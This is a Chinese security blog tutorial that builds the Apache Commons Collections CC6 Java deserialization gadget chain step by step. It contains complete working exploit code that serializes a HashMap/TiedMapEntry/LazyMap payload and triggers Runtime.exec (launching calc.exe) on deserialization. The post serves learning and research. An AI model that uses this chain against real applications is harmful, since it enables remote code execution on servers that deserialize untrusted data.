反序列化学习之路-Apache Commons Collections(CC6)

admin 2024年5月30日19:23:43评论15 views字数 5590阅读18分38秒阅读模式

前言

我们前两篇已经分析过URLDNS链和CC1链,我们这次分析的链就是基于前两条链之上的CC6链

CC6链的使用对于版本来说没有CC1限制那么大,只需要commons collections 小于等于3.2.1,都存在这个漏洞

1.1 前置

CC6和CC1的核心执行都是相同的,都是

LazyMap#get到InvokeTransformer#transform

但是随着jdk的升级修复,在8u71版本之后,

AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。

反序列化学习之路-Apache Commons Collections(CC6)

所以在此版本之后,CC1的LazyMap链没办法继续使用

我们先写一个到达get方法链的poc

LazyMap#get到InvokeTransformer#transform

public class test {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Class.class),                new InvokerTransformer(                        "forName",                        new Class[] {String.class},                        new Object[] {"java.lang.Runtime"}                ),                new InvokerTransformer(                        "getMethod",                        new Class[] {String.class,Class[].class},                        new Object[] {"getRuntime",new Class[0]}                ),                new InvokerTransformer(                        "invoke",                        new Class[] {Object.class, Object[].class },                        new Object[] {null, new Object[0] }),                new InvokerTransformer(                        "exec",                        new Class[] {String.class},                        new String[]{"C:\windows\system32\calc.exe"}                )        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        Map map = new HashMap();        Map Lazy = LazyMap.decorate(map,chainedTransformer);        Lazy.get(Runtime.getRuntime());        }

1.2 寻找新链

虽然出口被修复了,但是我们还是可以继续从LazyMap类中的get方法寻找新的路线

根据 ysoserial 的链子调用,是 TiedMapEntry 类中的 getValue() 方法调用了 LazyMap 的 get() 方法。

反序列化学习之路-Apache Commons Collections(CC6)

反序列化学习之路-Apache Commons Collections(CC6)

反序列化学习之路-Apache Commons Collections(CC6)

首先我们可以看到该方法实现了Serializable,在getValue方法中调用了get方法,而hashCode又调用了getValue方法,所以我们可以通过hasCode来调用我们的命令执行

public class test {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Class.class),                new InvokerTransformer(                        "forName",                        new Class[] {String.class},                        new Object[] {"java.lang.Runtime"}                ),                new InvokerTransformer(                        "getMethod",                        new Class[] {String.class,Class[].class},                        new Object[] {"getRuntime",new Class[0]}                ),                new InvokerTransformer(                        "invoke",                        new Class[] {Object.class, Object[].class },                        new Object[] {null, new Object[0] }),                new InvokerTransformer(                        "exec",                        new Class[] {String.class},                        new String[]{"C:\windows\system32\calc.exe"}                )        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        Map map = new HashMap();        Map Lazy = LazyMap.decorate(map,chainedTransformer);        TiedMapEntry tied = new TiedMapEntry(Lazy,0);        tied.hashCode();

1.2.1 hashCode()

我们之前分析过URLDNS链,HashMap的readObject方法有如下这行语句,而在其中通过方法hash()调用了hashcode()

反序列化学习之路-Apache Commons Collections(CC6)

反序列化学习之路-Apache Commons Collections(CC6)

所以我们使用和URLDNS分析中的HashMap.put()一样来触发漏洞

public class test {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Class.class),                new InvokerTransformer(                        "forName",                        new Class[] {String.class},                        new Object[] {"java.lang.Runtime"}                ),                new InvokerTransformer(                        "getMethod",                        new Class[] {String.class,Class[].class},                        new Object[] {"getRuntime",new Class[0]}                ),                new InvokerTransformer(                        "invoke",                        new Class[] {Object.class, Object[].class },                        new Object[] {null, new Object[0] }),                new InvokerTransformer(                        "exec",                        new Class[] {String.class},                        new String[]{"C:\windows\system32\calc.exe"}                )        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        Map map = new HashMap();        Map Lazy = LazyMap.decorate(map,chainedTransformer);        TiedMapEntry tied = new TiedMapEntry(Lazy,0);        HashMap map1 = new HashMap();        map1.put(tied,1);

反序列化学习之路-Apache Commons Collections(CC6)

1.3 解决问题

在我们运行上面的poc之后发现,还没进行反序列化就触发了我们的命令,这个之前在URLDNS分析篇也遇到过。

由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。

这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。

同时,我们要满足之前分析的if条件,保持key为空,所以我们需要删除key

反序列化学习之路-Apache Commons Collections(CC6)

第一步,将之前的传入的命令执行链换成随便传入一个Transformer对象

Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));

第二步,在put之后删除之前传入的key并修改回ChainedTransformer对象。

Lazy.remove(0);  //remove掉put时 lazyMap里的key 使反序列化时能进入transformClass c = LazyMap.class;Field factory = c.getDeclaredField("factory");factory.setAccessible(true);factory.set(Lazy,chainedTransformer);

1.4 完整poc

public class test {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(Class.class),                new InvokerTransformer(                        "forName",                        new Class[] {String.class},                        new Object[] {"java.lang.Runtime"}                ),                new InvokerTransformer(                        "getMethod",                        new Class[] {String.class,Class[].class},                        new Object[] {"getRuntime",new Class[0]}                ),                new InvokerTransformer(                        "invoke",                        new Class[] {Object.class, Object[].class },                        new Object[] {null, new Object[0] }),                new InvokerTransformer(                        "exec",                        new Class[] {String.class},                        new String[]{"C:\windows\system32\calc.exe"}                )        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        Map map = new HashMap();        Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));        TiedMapEntry tied = new TiedMapEntry(Lazy,0);        HashMap map1 = new HashMap();        map1.put(tied,1);        //本地执行put时,会调用 tiedmapTntry.hashcode lazyMap.get("0") 会让lazyMap key不为flase        Lazy.remove(0);  //remove掉put时 lazyMap里的key 使反序列化时能进入transform        Class c = LazyMap.class;        Field factory = c.getDeclaredField("factory");        factory.setAccessible(true);        factory.set(Lazy,chainedTransformer);        serializable(map1);    }    private static void serializable(Object o) throws IOException, ClassNotFoundException {        FileOutputStream fos = new FileOutputStream("obj1");        ObjectOutputStream os = new ObjectOutputStream(fos);        os.writeObject(o);        os.close();    }

我们触发下生成的poc

public class CC {    public static void main(String[] args) throws Exception {        //命令执行代码        unserializable();    }    private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{        FileInputStream fis = new FileInputStream("obj1");        ObjectInputStream ois = new ObjectInputStream(fis);        Object o = ois.readObject();        return o;    }}

反序列化学习之路-Apache Commons Collections(CC6)

路线为:

HashMap.put()    HashMap.hash()        TiedMapEntry.hashCode()          TiedMapEntry.getValue()            LazyMap.get()                    ChainedTransformer.transform()                        InvokerTransformer.transform()                            Runtime.exec()

本系列其它文章:

年轻人的第一条反序列化链-URLDNS

反序列化学习之路-Apache Commons Collections(CC1)

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任

欢迎关注公众号“呼啦啦安全”,原创技术文章第一时间推送。

原文始发于微信公众号(呼啦啦安全):反序列化学习之路-Apache Commons Collections(CC6)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月30日19:23:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化学习之路-Apache Commons Collections(CC6)https://cn-sec.com/archives/2796742.html

发表评论

匿名网友 填写信息